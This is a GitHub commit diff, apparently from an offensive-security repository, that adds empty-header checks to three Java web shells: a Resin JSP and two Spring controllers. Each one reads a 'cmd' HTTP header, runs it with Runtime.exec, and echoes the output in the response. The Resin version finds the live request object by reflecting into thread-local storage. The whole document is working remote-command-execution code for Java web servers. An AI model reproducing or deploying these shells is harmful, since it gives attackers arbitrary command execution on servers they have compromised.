Skip to content

Commit 68edac7

Browse files
author
feihong
committed
增加空指针(空字符串)判断,可以忽略
1 parent a77b4f4 commit 68edac7

File tree

3 files changed

+22
-13
lines changed

3 files changed

+22
-13
lines changed

Resin/code/resinEcho.jsp

Lines changed: 14 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
22
<%
3-
Class clazz = Thread.currentThread().getClass();
3+
Class clazz = Thread.currentThread().getClass();
44
java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals");
55
field.setAccessible(true);
66
Object obj = field.get(Thread.currentThread());
@@ -21,14 +21,19 @@
2121
if(obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")){
2222
com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj;
2323
String cmd = httpRequest.getHeader("cmd");
24-
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
25-
com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
26-
httpResponse.setHeader("Content-Length", res.length() + "");
27-
java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null);
28-
method.setAccessible(true);
29-
com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);
30-
httpResponseStream.write(res.getBytes(), 0, res.length());
31-
httpResponseStream.close();
24+
25+
if(cmd != null && !cmd.isEmpty()){
26+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
27+
com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
28+
httpResponse.setHeader("Content-Length", res.length() + "");
29+
java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null);
30+
method.setAccessible(true);
31+
com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);
32+
httpResponseStream.write(res.getBytes(), 0, res.length());
33+
httpResponseStream.close();
34+
}
35+
36+
break;
3237
}
3338
}
3439
%>

Spring/code/SpringMVCTestController.java

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,8 +19,10 @@ public User Test() throws IOException {
1919
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
2020

2121
String cmd = httprequest.getHeader("cmd");
22-
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
23-
httpresponse.getWriter().println(res);
22+
if(cmd != null && !cmd.isEmpty()){
23+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
24+
httpresponse.getWriter().println(res);
25+
}
2426

2527
return new User();
2628
}

Spring/code/SpringWebFlowTestController.java

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,8 +26,10 @@ public String test() throws IOException {
2626
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse) servletExternalContext.getNativeResponse();
2727

2828
String cmd = request.getHeader("cmd");
29-
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
30-
response.getWriter().println(res);
29+
if(cmd != null && !cmd.isEmpty()){
30+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
31+
response.getWriter().println(res);
32+
}
3133

3234
return "test";
3335
}

0 commit comments

Comments
 (0)